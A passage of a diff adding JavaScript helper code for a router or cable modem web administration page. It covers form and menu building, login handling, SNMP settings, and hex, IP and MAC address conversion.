"); + $("#ttip").text(t); + $("#ttip").css('z-index',"11000"); + $("#ttip").css('top', $(this).offset().top); + $("#ttip").css('left',$(this).offset().left+32); + $("#ttip").show(); + }); + $("#"+label1+"_image_tt").mouseleave(function(e) { + $("#ttip").remove(); + }); + }); + return _div("style:display:inline;", _img("id:"+label1+"_image_tt", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;" + )); +} +// return _img("class:tipped", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;", "title:" + helpText(label1)); + + +function inlineButton(label1, onclick) { + return _tr(_td("width:35%", "text:" + xlate(label1)), _td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick), helpTag(label1))); +} +function inlineButtonRaw(label1, onclick) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick))); +} +function inlineButtonRaw2(label1, onclick,label2, onclick2) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick),_input("type:button", "id:" + label2, "value:{{"+label2+"}}", onclick2))); +} +function inlineButtonImage(label1, image, onclick) { + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:image", "id:" + label1, "src:" + image, onclick), helpTag(label1))); +} + + +function formatter(args) { + var f = { }; + f.load = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.store = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.validate = function(v) { + if (this.notEmpty && (""+v).length == 0) + throw xlate("%s: must have a value", f.label); + if (this.notZero && v.asInt() === 0) + throw xlate("%s: must be a positive number", f.label); + return v; + }; + f.storeAndValidate = function(v) { + return f.store(f.validate(v)); + }; + if (args) { + _.each(args, function(v, k) { + f[k] = v; + }); + } + return f; +} + +function textFormatter(args) { + var o = formatter(args); + o.load = function(v) { + v = ( v === undefined || v === null) ? "" : v; + if (v && isHexString(v) && v.endsWith(" 00")) { // strip improper null term + v = v.substr(0, v.length-3); + v = hexToString(v); + } + return v; + }; + return o; +} + + + + + +function text(label1, fmt, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + // afterBuild(function() { + // $("#"+label1).bind("change", function() { + // adirty[label1] = $("#"+label1).valOrCheckd(); + // }); + // }); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + if (!$("#"+label1).attr("disabled")) { + var v =(f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v; + if (ag.dirty[label1]) + $.log("dirty "+label1+" "+ag[label1]+" "+v); + ag[label1] = f.store(v); + } + } else ag.dirty[label1] = true; + + }); + var type = label1.indexOf("Password") != -1 ? "password" : "text"; + if (label1 == "Keystring") + type = "password"; + + if (f.password) + type = "password"; + f.label = xlate(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:" + type, "id:" + label1, "value:" + htmlEscape(""+ag[label1]), + (f.size ? "size:" + f.size : null)), helpTag(label1, helpText))); +} +function text2(label1, fmt, sepText, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = (f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = f.store(v1); + } else ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = (f.validate($("#" + label1 + "_1").valOrChecked())); + ag.dirty[label1 + "_1"] = ag[label1 + "_1"] !== v2; + ag[label1 + "_1"] = f.store(v2); + } else ag.dirty[label1 + "_1"] = true; + }); + ag[label1] = f.load(ag[label1]); + ag[label1 + "_1"] = f.load(ag[label1 + "_1"]); + f.label = xlate(label1); + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), + _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "value:" + htmlEscape(""+ag[label1])), _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), _input("type:text", (f.size ? "size:" + f.size : null), "id:" + l.label + "_1", "value:" + htmlEscape(""+ag[label1 + "_1"])), helpTag(label1, helpText))); +} +function rotext(label1, fmt) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "class:read_only", "disabled:disabled", "value:" + htmlEscape(ag[label1])), helpTag(label1))); +} +function snmpText(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:text", "class:read_only", "disabled:disabled", "value:" + val, + (size !== undefined ? "size:" + size : null)))); + +} +var snmpTextEditId = 0; +function snmpTextEdit(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("id:snmpTextEdit"+(snmpTextEditId++),"type:text","value:" + val, + (size !== undefined ? "size:" + size : null)))); +} +function snmpTextArea(label1, val) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_textarea("rows:6", "cols:50", "class:read_only", "disabled:disabled", "text:" + val + ))); + +} + + +function snmpFieldset(label1, contents) { + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} + +function form(label1, label2, contents) { + return _div(_div("class:description", _h3("text:{{" + label1+"}}"), _div("text:{{" + label2+"}}")), + //_div("id:loading_distractor" , "style:display: none;", + //"style:position:absolute;left:300px;top:350px;z-index:9;", + //_span(_img("src:i/distractor.gif"))), + $.makeArray(arguments).slice(2), _br(), _br()); +} + +function fieldset(label1, contents) { + if (technicianOnly(label1) && !isTechnician()) + return null; + if (!fieldsetVisible(label1)) + afterBuild(function() { $("#" + label1).hide(); }); + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} +function checkbox(label1, onchange, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] != v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + + //checkboxItem(label1); + var l = parseLabel(label1); + var checked = ag[label1]; + + if (checked) + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, "checked:true", onchange), helpTag(label1, helpText))); + else return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, onchange), helpTag(label1, helpText))); +} + +// nb: values must be get set explicitly +function checkbox4(label1, label2,label3, label4) { + if (technicianOnly(label1) && !isTechnician()) + return null; + + function buildCheck(name) { + var al = [ ]; + if (name) { + al.push(_input("type:checkbox", "name:"+name, "id:"+name)); + al.push(_label("for:"+name, "text:     "+name)); + } + return al; + } + + return _tr(_td("width:25%", buildCheck(label1)), _td("width:25%", buildCheck(label2)),_td("width:25%", buildCheck(label3)), _td("width:25%", buildCheck(label4))); +} + + +function select(label1, vals, onchangefunc, selectedValue, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + vals = _.without(vals, null); + var dirty = false; + // selectItem(label1); + var l = parseLabel(label1); + var options = []; + var value = selectedValue || ag[label1]; + var haveSelected = _.any(vals, function(v) { return v.split(":")[0] == value; }); + var options = _.map(vals, function f(v, index) { + v = v.split(":"); + if (v[0] == value || (!haveSelected && index ===0)) + return _option("value:" + v[0], "text:" + htmlEscape(v[1]), "selected:selected"); + else return _option("value:" + v[0], "text:" + htmlEscape(v[1])); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, function onchange() { + dirty = true; + if (onchangefunc) + onchangefunc(); + }), helpTag(label1, helpText))); +} +function select2(label1, vals, onchange, sepText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = v1; + } ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = $("#" + label1 + "_1").valOrChecked(); + ag.dirty[label1+ "_1" ] = ag[label1 + "_1"] !== v2; + ag[label1+ "_1"] = v2; + } ag.dirty[label1+"_1"] = true; + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1))); +} + +function select2Optional(label1, vals, onchange, sepText, optionalCheckText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterBuild(function() { + $("#" + l.label + "div").hide(); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + ag[label1 + "_Checked"] = $("#" + label1 + "check").valOrChecked(); + } + if (ag[label1] !== undefined) { + ag[label1] = $("#" + label1).valOrChecked(); + } + if (ag[label1 + "_1"] !== undefined) { + ag[label1 + "_1"] = $("#" + label1 + "_1").valOrChecked(); + } + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), + _td(_div("style:height:24px;width:100px;", _input("id:" + l.label + "_Checked", "type:checkbox", "checked:checked", + function onclick() { + if (!$("#" + l.label + "_Checked").valOrChecked()) { + $("#" + l.label + "div").show(); + } else { + $("#" + l.label + "div").hide(); + } + } + +// function onchange() { +// if (!$("#" + l.label + "_Checked").valOrChecked()) { +// alert("show "+("#" + l.label + "div")); +// $("#" + l.label + "div").show(); +// } else { +// alert("hide "+("#" + l.label + "div")); +// $("#" + l.label + "div").hide(); +// } +// } + ), _b("text:" + optionalCheckText)), + // + _div("id:" + l.label + "div", + _select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1)))); +} +function ApplyButton() { + return buttons("{{Apply}}", function onclick(event) { + Apply(); + }); +} + +function buttons() { + var buttons = []; + for (var i = 0; i < 4; i++) + if (arguments[i * 2]) { + buttons.push(_input("type:button", "value:" + arguments[i * 2], "class:submitBtn", arguments[i * 2 + 1])); + } + + return _div(_br(), buttons); +} +function dialog(id, title, elements, okName, okAction) { + var buttonsDef = { }; + buttonsDef[xlate("Cancel")] = function() { + $(this).dialog("close"); + }; + buttonsDef[xlate(okName)] = function() { + try { + okAction.apply(this); + } catch (e) { + handleError(e); + } + }; + window["dialog_" + id] = { + autoOpen: false, width:500, modal: true, + dialogClass: "fieldgrp", + buttons: buttonsDef + }; + + return _div("id:" + id, "title:" + xlate(title), _table("class:common_table", _tbody(elements))); +} +function prepareDialog(id) { + $("#" + id).dialog(window["dialog_" + id]); +} + +function getURLArgs() { + var pos = location.href.lastIndexOf('?'); + if (pos == -1) + return ""; + var s = decodeURI(location.href.substr(pos + 1)).split("&"); + var page = s[0]; + _.each(s, function(a) { + if (a.startsWith("debug")) { + debug(a.substr(5)); + } + }); + return page; +} + +function getPage() { + var v = window.location.pathname; + if (v.startsWith("/")) + v = v.slice(1); + return v; +} + + +function goRebuild(tag) { + window.event.preventDefault(); + rebuild(tag); + // window.open(getPage()+'?'+tag, "_self"); +} +function go(tag) { + window.open(getPage() + '?' + tag, "_self"); +} + +function buildShell() { + $.log("buildShell"); + + if (typeof noMenus !== "undefined" && noMenus) { + var shell = _div("id:wrapper", + _div("id:content", + _div("id:tabs", + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td(_div("id:mainpage")))))) + ))), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + ); + $(shell.toHTML()).appendTo("body"); + + + $("body").css("background", "transparent"); + $("#wrapper").css("background", "transparent"); + $("#footer").css("background", "transparent"); + $("#wrapper").css("width", "650"); + + + return; + } + + //id page children + var m = menu(); + if (!isLoggedIn()) { + m = [ + { id: "Login", page: "login", children: [ + { id: "Login", page:"login" } + ] } + ]; + } + + var hash = isLoggedIn() ? (getURLArgs() || m[0].page) : "login"; + + var index = 0; + + function sel(p) { + return getPage() == p ? "class:selected" : null; + } + + // var topNav = _ul("id:nav", + // _li(_a(sel("router.html"), "href:router.html", "text:Wireless")), // "href:router.html", + // _li(_a(sel("cm.html"), "href:cm.html", "text:HSD" )), // "href:router.html", + // // _li(_a("href:voice.html", "text:Voice")), // "class:end" + // //_li(_a("href:phy.htm", "class:end", "text:Voice")), + // _li(_a("href:"+getPage(), "text:Logout", function onclick() { + // logout(); + // refresh(); + // })) + // ); + var hsd = menuVisible("HSD"); + var topNav = getAttr("CLASSICCM") ? _ul("id:nav", + _li(_a("class:selected", "href:#", "text:{{Wireless}}")), // "href:router.html", + + hsd ? _li(_a(getAttr("CLASSICCM") ? ("href:"+ "phy.htm") : ("href:cm.html"), "text:{{HSD}}", "class:end")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:router.html", "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ) : _ul("id:nav", + _li(_a(sel("router.html"), "href:router.html", "text:{{Wireless}}")), // "href:router.html", + hsd ? _li(_a(sel("cm.html"), "href:cm.html", "text:{{HSD}}")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), // "class:end" + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:" + getPage(), "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ); + + var mainMenu = [ ]; + var subMenu = [ ]; + $.each(m, function(k, v) { + if (!v) + return; + if (v.page == hash) { + mainMenu = v; + subMenu = v; + } else { + $.each(v.children, function(k, vv) { + if (vv && vv.page == hash) { + mainMenu = v; + subMenu = vv; + } + }); + } + }); + + $.log(mainMenu.id); + $.log(subMenu.id); + + + var sideNav = _div("id:navigation_bar", + _h1("text:{{" + mainMenu.id+"}}"), + _ul("class:sidenav", + $.map(mainMenu.children ? mainMenu.children : [], function(m) { // "class:current" class:selected + if (!m || !m.page) + return null; + if (m == subMenu) + return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "class:current", "onclick: go('" + m.page + "');")); + else return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }), + _div("style:VISIBILITY: hidden", "id:version", "text:1.0") + ), + _div("id:sidenav_bottom")); + + + var shell = _div("id:wrapper", + _div("id:header", _img("src:i/logo.gif", "id:logo"), topNav), + // _div("id:header", _img("src:logo_MSO.png", "id:logo", "width:150px"), topNav), + _div("id:content", + _div("id:tabs", + _ul("class:tabNavigation", + $.map(m, function(m) { // "class:current" + if (!m) + return null; + var selected = _.include(_.pluck(m.children, "page"),base) ? "class:selected" : ""; + return _li(_a(selected, "href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }) + ), + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td("width:200px", sideNav), + _td(_div("id:mainpage")))))) + ))), + _img("src:i/content_bottom.jpg", "width:973", "height:6", "complete:complete"), + _div("id:footer"), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + + ) + ; + $(shell.toHTML()).appendTo("body"); + // $(header.toHTML()).appendTo("#header"); + // $(new Menu().build().toHTML()).appendTo($("#sidebar")); + + // make sure menus fit + $(".sidenav a").truncateTextToFit(); +} + + +function afterBuild(func) { + _afterBuild.push(func); +} +function afterBuildOnce(func) { + if (!_.include(_afterBuild, func)) + _afterBuild.push(func); +} + +function afterApply(func) { + _afterApply.push(func); +} + +// alog +function addCustomSetting(s) { + var ud = snmpGet1(arCustomSettings.oid+".0") || ""; + if (!ud.contains(s+"!")) { + ud += s+"!"; + snmpSet1(arCustomSettings.oid+".0", ud, "4"); + } +} + + +function handleError(e) { + if (e === "unauthorized") { + refresh(); + return; + } + if (e["label"]) + alert(xlate("Could not set ") + "\"" +xlate(e["label"])+"\""); // todo: tranlaset + else if (canXlate(e)) + alert(xlate(e)); + else if (_.isString(e)) + alert(e); + else alert(xlate("Error")); // todo: tranlaset +} + +function DoApply() { + try { + $.each(_afterApply, function (k, v) { + v(); + }); + if (typeof storeData === "undefined") + return; + storeData(); + store(); + refresh(); + } catch (e) { + if (e == "cancel") + ; // nothing + else handleError(e); + } finally { + closeWaitDialog() + } +} + +function Apply() { + openWaitDialog(); + setTimeout(DoApply, 10); +} + + + +function loginbuild() { + ag = { }; + ag.UserName = isSuddenlink() ? "" : "admin"; + ag.Password = ""; + doLogin = function() { + login($("#UserName").val(), $("#Password").val()) + if (!isLoggedIn()) { + alert(xlate("Invalid Username or Password!")); + } + refresh(); + }; + afterBuild(function() { + $(document).keypress(function(event){ + var keycode = (event.keyCode ? event.keyCode : event.which); + if(keycode == '13'){ + doLogin(); + } + }); + }); + return form("Login", "LoginText", + fieldset("Login", + [text("UserName"), + text("Password") + ]), + buttons("{{Apply}}", function onclick() { + doLogin(); + })); +} + +function disablePage() { + $('#mainpage *').attr('disabled', true); + $('.submitBtn').hide(); + if ($("#LAN")) { // make sure we can see lan change + $("#LAN").parents().removeAttr('disabled'); + $("#LAN ").removeAttr('disabled'); + $("#LAN").children().removeAttr('disabled'); + $("#LAN").show(); + } + if ($("#BSS")) { // make sure we can see lan change + $("#BSS").parents().removeAttr('disabled'); + $("#BSS").removeAttr('disabled'); + $("#BSS").children().removeAttr('disabled'); + $("#BSS").show(); + } +} + + + +function enableItem(id) { + $('.submitBtn').show(); // make sure we can see + $('.submitBtn').removeAttr('disabled'); // make sure we can see + $('.submitBtn').parent().removeAttr('disabled'); + if ($(id)) { + $(id).parents().removeAttr('disabled'); + $(id).removeAttr('disabled'); + $(id).children().removeAttr('disabled'); + $(id).show(); + } +} + + + +function render2() { + $.each(_afterBuild, function(k, v) { + v(); + }); + + if ($("#dialog")) + prepareDialog("dialog"); + if ($("#dialog1")) + prepareDialog("dialog1"); + if ($("#dialog2")) + prepareDialog("dialog2"); + + $("body").ajaxError(function(event, request, settings) { + // alert("Error Requesting Data"); + // refresh(); + }); + + if (!pageEnabled(base)) { + disablePage(); + } + if (isLoggedIn() && (!submenuVisible(base) || !menuMap[base])) { + $('#mainpage').hide(); + } + +} + +function render() { + + buildShell(); + var def = isLoggedIn() ? build() : loginbuild(); + $(def.toHTML()).appendTo($("#mainpage")); + + + if (ag) + ag.dirty = { }; + + $(render2()); +} + + +function getSelectedLAN() { + if (!isTechnician() || isMG()) + return getLan()[0]; + return getSessionStorage("ar_selected_lan") || getLan()[0] ; +} +function selectLan() { + if (!isTechnician() || isMG()) + return null; + ag.LAN = getSelectedLAN(); + var slans = _.map(getLan(), function (v) { + return "" + v + ":" + getLanName(v) + }); + return fieldset("LANSegment", select("LAN", slans, function onChange() { + $.log("selected lan set " + $("#LAN").val()); + setSessionStorage("ar_selected_lan", $("#LAN").val()); + refresh(); + })); +} + +function getSelectedBss() { + if (!isTechnician() || isMG()) + return getBss()[0]; + return getSessionStorage("ar_selected_bss") || getBss()[0] ; +} + +function selectBss() { + if (!isTechnician() || isMG()) + return null; + ag.BSS = getSelectedBss(); + var slans = _.map(getBss(), function (v) { + return "" + v + ":" + getBssName(v) + }); + return fieldset("Wireless", select("BSS", slans, function onChange() { + $.log("selected bss set " + $("#BSS").val()); + setSessionStorage("ar_selected_bss", $("#BSS").val()); + refresh(); + })); +} + + +function sectionIndex() { + var a = new Array(); + for (var i = 0; i < 99; i++) { + if (arguments[i * 3]) { + var li; + (function(id1, id2, url) { + li = _li(_a("href:" + url, _label("class:item", "text:{{" + id1 +"}}"), + _br(), _label("text:{{" + id2+"}}"), _br() + ), _br()); + })(arguments[i * 3], arguments[i * 3 + 1], arguments[i * 3 + 2]); + a.push(li); + } else break; + } + return _ul(a); +} + +function canXlate(id) { + return _xlate [id]; +} +function xlate(id, arg1, arg2, arg3) { +// if (debug()&8) +// return "{{"+id+"}}"; + var o = _xlate [id]; + + if ((debug()&8) && !o) + o = "@@"+id; + + if (!o) { + o = id.replace("_tt",""); + if (_xlate[o]) + o = _xlate[o]; + } +// if (!o) +// alert("no def for "+o); + if (arg1 !== undefined) + o = o.replace("%s",arg1); + if (arg2 !== undefined) + o = o.replace("%s",arg2); + if (arg3 !== undefined) + o = o.replace("%s",arg3); + return o; +} + +function helpText(id) { + return xlate(id+"_tt"); +} + +function technicianOnly(id, value) { + if (value !== undefined) + _technician[id] = value; + return _technician[id] === undefined ? false : _technician[id]; +} + + +function updateDisabledState(checkboxsel, inputsel, invert) { + var on = $(checkboxsel).attr("checked") && !$(checkboxsel).attr("disabled"); + if (invert) + on = !on; + var id = $(checkboxsel).attr("id"); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if (on) { + $(this).removeClass("input_disabled"); + $(this).removeAttr("disabled"); + } else { + $(this).addClass("input_disabled"); + $(this).attr("disabled", "disabled"); + } + } + }); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if ($(this).is(':checkbox')) { + $(this).trigger("change"); + } + } + }); +} + +function setupCheck(checkboxsel, inputsel, invert) { + function updater() { + if (invert) + updateDisabledState(checkboxsel, inputsel, true); + else updateDisabledState(checkboxsel, inputsel); + } + afterBuild(function() { + $(checkboxsel).bind("click", updater); + updater(); + }); +} + + +function todToInt(day1, day2, hour1, hour2) { + day1 = day1.asInt(); + day2 = day2.asInt(); + hour1 = hour1.asInt(); + hour2 = hour2.asInt(); + + if (hour1 >= hour2) + throw xlate("No hours of the day selected. Second hour must be after the first."); + var todDay = 0; + var todTime = 0; + var i = 0; + if (day1 > day2) { + for (i = day1; i <= 6; i++) + todDay |= (1 << i); + for (i = 0; i <= day2; i++) + todDay |= (1 << i); + } else { + for (i = day1; i <= day2; i++) + todDay |= (1 << i); + } + todDay &= 0x7F; + if (hour1 > hour2) { + for (i = hour1; i <= 23; i++) + todTime |= 1 << i; + for (i = 0; i <= hour2; i++) + todTime |= 1 << i; + } else { + for (i = hour1; i < hour2; i++) { + var shift = (i === 0) ? (1 << 0) : (1 << (i)); + todTime |= shift; + } + } + return (todTime << 7) | todDay; +} +function lowestBitSet(tod, l, h) { + tod = parseInt(tod,10); + l = parseInt(l,10); + h = parseInt(h,10); + for (var i = l; i <= h; i++) + if (tod & (1 << i)) + return i; + return l; +} +function highestBitSet(tod, l, h) { + for (var i = h; i >= l; i--) + if (tod & (1 << i)) + return i; + return h; +} + +function todToTimeString(tod, s_min, e_min) { + tod = parseInt(tod,10); + var l = (lowestBitSet(tod, 7, 30) - 7); + var h = (highestBitSet(tod, 7, 30) - 7); + var l_min = (s_min==undefined? ":00" : s_min) + var h_min = (e_min==undefined? ":00" : e_min) + + var s = l.asString(2) + ":"+l_min +"-" + (h + 0).asString(2) + ":"+h_min; + if (s == "00:00-24:00") + s = "All Day"; + return s; +} +function todToDayString(tod) { + var day = ""; + tod = parseInt(tod,10); + if ((tod & 0x07F) === 0x07F) + return "Every Day"; + tod = tod & 0x7F; + for (var i = 0; i <= 6; i++) + if (tod & (1 << i)) + day += days[i].substr(2) + ","; + if (day.endsWith(",")) + day = day.substr(0, day.length - 1); + return day; +} + + +function refresh() { + location.reload(true); + window.open(location.href, "_self"); + + // location.reload(true); + // window.open(location.href, "_self"); + +} + + + +function isHexString(s) { + if (s.length === 0) + return false; + var pos = 0; + if (s.charAt(pos) == '$') + pos++; + while (pos < s.length) { + if ("01234567789ABCDEFabcdef ".indexOf(s.charAt(pos)) == -1) + return false; + else pos++; + } + return true; +} + +function parseHexString(hs) { + if (!isHexString(hs)) + return [ ]; + var a = [ ]; + var pos = 0; + if (hs.charAt(pos) == '$') + pos++; + + while (pos < hs.length) { + if (hs.charAt(pos) == ' ') { + pos++; + continue; + } + if (hs.length < 2) + return [ ]; + var num = parseInt(hs.charAt(pos), 16) * 16 + parseInt(hs.charAt(pos + 1), 16); + if (isNaN(num)) + return [ ]; + pos += 2; + a.push(num); + } + return a; +} +function toHexString(a) { + var s = "$"; + _.each(a, function(d) { + if (d < 16) s += "0"; + s += Number(d).toString(16).toUpperCase() + }); + return s; +} + +function stringToHex(s) { + var v = ""; + for (var i = 0; i < s.length; i++) + v += toHexDig(s.charCodeAt(i), 2); + return v; +} +function hexToString(s) { + return String.fromCharCode.apply(this, parseHexString(s)); +} +function toHexDig(s, len) { + s = Number(s).toString(16).toUpperCase(); + if (s.length < len) + s = "00000000000000000000000000".substr(0, len - s.length) + s; + return s; +} + + +function ipToHex(v, sep) { + if (sep === undefined) + sep = ""; + sep = ""; + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(v)) + return "$" + "00" + sep + "00" + sep + "00" + sep + "00"; + var a = v.split("."); + return "$" + toHexDig(a[0], 2) + sep + toHexDig(a[1], 2) + + sep + toHexDig(a[2], 2) + sep + toHexDig(a[3], 2); +} +function hexToIp(v) { + if (!v) + return "0.0.0.0"; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + var reg = /\$?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?/; + if (!reg.test(v)) + return "0.0.0.0"; + var s = ""; + s += parseInt(RegExp.$1, 16) + "."; + s += parseInt(RegExp.$2, 16) + "."; + s += parseInt(RegExp.$3, 16) + "."; + s += parseInt(RegExp.$4, 16); + return s; +} + +function macToHex(v) { + v = v.toUpperCase(); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "$" + "000000000000"; + //var a = v.split(":"); + return "$" + v.replace(/:/g, ""); +} +function hexToMac(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 6) + v = convertASCIIStringToHexString(v); + if (v.startsWith("$")) + v = v.substr(1); + + v = v.replace(/ /g, ""); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "00:00:00:00:00:00"; + var s = ""; + for (var i = 0; i < 6; i++) { + s += v.charAt(i * 2); + s += v.charAt(i * 2 + 1); + if (i < 6 - 1) + s += ":"; + } + return s; +} + + +function ipv4ToHex(s) { + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(s)) + return null; + var hex = ""; + s = s.split("."); + for (var i=0; i<4; i++) { + if (s[i].asInt() > 255) + return null; + hex += toHexDig(s[i], 2) + } + return hex; +} + + function hexToIpv4(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{8}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{2})/g); + var s = ""; + for (var i=0;i<4;i++) + s += parseInt(v[i], 16) + (i!=3 ? "." : ""); + return s; + } + + +function hexToIpv6(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return ""; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) { + //alert(s); + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + //alert(s); + } + s = ":"+s; +/* + // does it need to replace 0: to ::??? + for (i=8; i>=2; i--) { + var rg = new RegExp(":(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,"::"); + break; + } + } +*/ + s = s.substr(1,s.length-2); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + + +function hexToIpv6x(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + for (i=8; i>=2; i--) { + var rg = new 